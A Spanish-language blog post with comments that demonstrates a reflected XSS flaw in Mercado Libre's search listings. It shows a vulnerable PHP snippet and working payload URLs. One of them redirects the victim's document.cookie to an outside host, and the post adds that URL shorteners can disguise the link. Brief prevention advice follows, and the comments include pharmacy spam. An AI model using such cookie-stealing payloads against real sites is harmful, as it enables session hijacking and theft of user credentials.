Ataque XSS - Ejemplo real

Los ataques XSS son como los accidentes de tránsito:

  • Uno nunca piensa que le puede pasar
  • Cuando le pasa le echa la culpa a otro
  • Son algo mucho peor de lo que uno piensa

Hoy Demián Rodriguez, uno de los chicos del Web & Beer consiguió hacer un ataque XSS a Mercado Libre, esto es muy serio y grave.

El sitio atacado

Mercado Libre es el 12° sitio mas visitado de Argentina lo cual es mucho tráfico. Conozco gente que trabajó ahí y la verdad que me contaron cosas feas, pero en el desarrollo de software estamos acostumbrados a eso.

Un ataque cualquiera

Este ataque es bien simple. Supongamos que alguien tiene en su sito nomeataques.php:

<p>Búsqueda: <?php echo $_GET['q'] ?></p>

Simplemente modificando el párametro GET q puedo imprimir lo que quiera. Al principio al contarle al programador web este le contesta: - Escribí lo que se te cante el orto quieras, ¿cómo me puede afectar? - Ok, escribo un JavaScript - Buenísimo mandale un alert, redirigilo, ¿que tan grave es eso? - No no para que voy a hacerle eso si le puedo robar las cookies directamete. Si exactamente. Le puedo pedir que me de las cookies y eso es lo que redirijo a mi sitio, y eso es lo que robo. Es decir que puedo robar (entre otras cosas) las credenciales del usuario. Feo, muy feo. El ataque a Mercado Libre En Mercado Libre el ataque es mas pavo todavía, porque ni siquiera le tenemos que poner las etiquetas <SCRIPT>. El parámetro de búsqueda (que es una URL reescrita) se imprime directamente. Usando el ejemplo de mi amigo Demián: http://listado.mercadolibre.com.ar/xenon%27%3Bdocument.body.innerHTML%3D%27programar-for-dummies programar-for-dummies Bueno como verán es demasiado fácil. Lo que hice a continuación fue crear un sitio que simula un ataque (no lo hace de verdad pero si no confian en mi no hagan click en los siguientes enlaces). Con un poco de JavaScript hacemos un location a un script nuestro, y que mande en un parámetro las preciadas galletas cookies. http://listado.mercadolibre.com.ar/xenon’%3Bdocument.location%3D’http%3A%2F%2Frodrigoarce.com%2Fxss.php%3Fcookie%3D’%2Bdocument.cookie%2B’%26o%3D Obviamente ese script le suena sospechoso a muchos de uds. y no caerían en cliquearlo. Pero estamos en la época de los “url shorteners” (¡gracias Twitter!) así que un link como http://bit.ly/1QjQch es mucho mas común, se ve menos peligroso y hasta haría click simplemente por curiosidad.

Como prevenirlo (programador)

La prevención frente a estos ataques es bien simple, hay que escapar todas y cada una de las variables que recibimos, y hacerlo pensando donde van a estar, ya vimos que un simple strip_tags no es suficiente.

Como prevenirlo (usuario)

Como ya demostré hoy en día es casi imposible no hacer click en un lugar que podría contener un ataque XSS, así que evitar links es una solución a medias. Y por mas que se sepa el ataque en general no se puede arreglar de un día al otro, lo que recomiendo es borrar las cookies después de utilizar el sitio (no es lo mismo que cerrar la sesión aunque también puede ser útil esto).

Tags: , ,

8 Responses to “Ataque XSS - Ejemplo real”

  1. Demián Says:

    Soy un kapo! descubrí un agujero de seguridad en un sitio web re popular…. pero la verdad es que como hablamos antes: popular != bueno, esta desarrollado por newbies.
    Con solo ver el codigo fuente, se hackea solo:
    var variableQueVienePorGET_y_no_la_escapo = ‘hola’;

  2. Albo Says:

    Si lo que te falto es tener alma de hacker para romperlo todo jaja.

  3. Pablo Morales Says:

    El alma hacker no es romper todo, sino reportar el bug y refregarselo en la cara a todo el mundo :P

    Alguien lo reporto a Mercadolibre?

  4. Albo Says:

    @Pablo si ya se debería haber dicho cracker en vez de hacker. En realidad tuvo alma de hacker.
    Ya le comente a un amigo que trabaja ahi y dijo que le iba a avisar asi que se podría decir que si.

  5. Webmaster Says:

    Hello! Please e-mail me your contacts. I have a question webmaster {at} complective(.)ru” rel=”nofollow”>……

    Thank you!!!…

  6. FRED Says:


    PillSpot.org. Canadian Health&Care.No prescription online pharmacy.Best quality drugs.Special Internet Prices. Low price drugs. Buy pills online

    Buy:Mega Hoodia.Valtrex.Petcam (Metacam) Oral Suspension.Actos.Synthroid.Arimidex.Nexium.Retin-A.Lumigan.Zyban.Prevacid.Prednisolone.Zovirax.100% Pure Okinawan Coral Calcium.Human Growth Hormone.Accutane….

  7. PHILIP Says:


    MedicamentSpot.com. Canadian Health&Care.No prescription online pharmacy.Best quality drugs.Special Internet Prices. High quality drugs. Order pills online

    Buy:Lipothin.Acomplia.Lasix.Zetia.Amoxicillin.Aricept.Ventolin.Seroquel.Benicar.Cozaar.Buspar.SleepWell.Advair.Wellbutrin SR.Zocor.Prozac.Female Cialis.Lipitor.Nymphomax.Female Pink Viagra….

  8. Gas Says:

    Gas http://smaryhwzeb3.AUTOPARTSVILLE.INFO/tag/Ventless+Gas+sale/ : Gas…

    Gas…

Leave a Reply